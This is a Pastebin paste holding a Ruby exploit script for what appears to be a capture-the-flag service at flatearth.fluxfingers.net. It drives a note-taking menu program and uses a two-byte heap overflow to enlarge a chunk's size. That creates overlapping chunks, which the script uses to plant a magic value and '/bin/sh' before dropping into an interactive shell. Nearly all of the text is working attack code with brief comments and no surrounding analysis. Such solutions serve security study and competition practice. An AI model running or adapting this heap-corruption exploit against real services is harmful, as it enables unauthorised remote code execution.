Guest User

Untitled

a guest
Oct 20th, 2017
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.25 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2.  
  3. require 'socket'
  4.  
  5. class TCPSocket
  6. def recv_until val
  7. data = ""
  8. while true do
  9. tmp = self.recv 1024, Socket::MSG_PEEK
  10. if i = tmp.index(val)
  11. data << self.recv(i + val.size)
  12. return data
  13. else
  14. data << self.recv(1024)
  15. end
  16. end
  17. end
  18.  
  19. def peek length=1024
  20. self.recv length, Socket::MSG_PEEK
  21. end
  22.  
  23. def interact
  24. begin
  25. while true do
  26. ready = IO.select([self, $stdin])
  27. ready[0].each do |source|
  28. case source
  29. when self
  30. input = self.recv 4096
  31. $stdout.print input
  32. when $stdin
  33. self.print $stdin.gets
  34. else
  35. raise StandardError
  36. end
  37. end
  38. end
  39. rescue Interrupt
  40. return
  41. end
  42. end
  43.  
  44. def puts s
  45. $stdout.puts s
  46. super s
  47. end
  48. end
  49.  
  50. target = :remote
  51.  
  52. case target
  53. when :local
  54. host = 'localhost'
  55. port = 4444
  56. when :remote
  57. host = 'flatearth.fluxfingers.net'
  58. port = 1745
  59. end
  60.  
  61.  
  62.  
  63.  
  64. $s = TCPSocket.new host, port
  65.  
  66.  
  67. def prompt
  68. answer = $s.recv_until ">"
  69. print answer
  70. end
  71.  
  72. def add summary
  73. $s.puts "1"
  74. prompt
  75. $s.puts summary
  76. prompt
  77. end
  78.  
  79. def del index
  80. $s.puts "2"
  81. prompt
  82. $s.puts index
  83. prompt
  84. end
  85.  
  86. def study index
  87. $s.puts "3"
  88. prompt
  89. $s.puts index
  90. prompt
  91. end
  92.  
  93. def crib
  94. $s.puts "4"
  95. prompt
  96. end
  97.  
  98. def tear
  99. $s.puts 5
  100. prompt
  101. end
  102.  
  103. def exam index
  104. $s.puts "6"
  105. prompt
  106. $s.puts index
  107. end
  108.  
  109.  
  110. #
  111. # 2 byte overwrite on heap -> increase size of next chunk -> overlapping chunks
  112. #
  113.  
  114.  
  115. # alloc chunk #0 of size 0x90
  116. add "A" * 100
  117.  
  118. # alloc chunk #1 of size 0x30
  119. crib
  120.  
  121. # alloc chunk #2 of size 0x90
  122. # include fake chunk header
  123. add "B" * 80 + [0x31].pack("Q")
  124.  
  125. # free chunk #0
  126. del 0
  127.  
  128. # alloc chunk #0 of size 0x90
  129. # 2 byte overflow -> set size of chunk #1 to 0x90
  130. add "C" * 128 + "\x91"
  131.  
  132. # free chunk #1 (new size 0x90)
  133. tear
  134.  
  135. # alloc chunk #1 of size 0x90
  136. # overwrite chunk #2
  137. add "D" * 0x28 + [0x434947414d535449].pack("Q") + "/bin/sh"
  138.  
  139. # use summary in chunk #2
  140. exam 1
  141.  
  142. $s.interact
Add Comment
Please, Sign In to add comment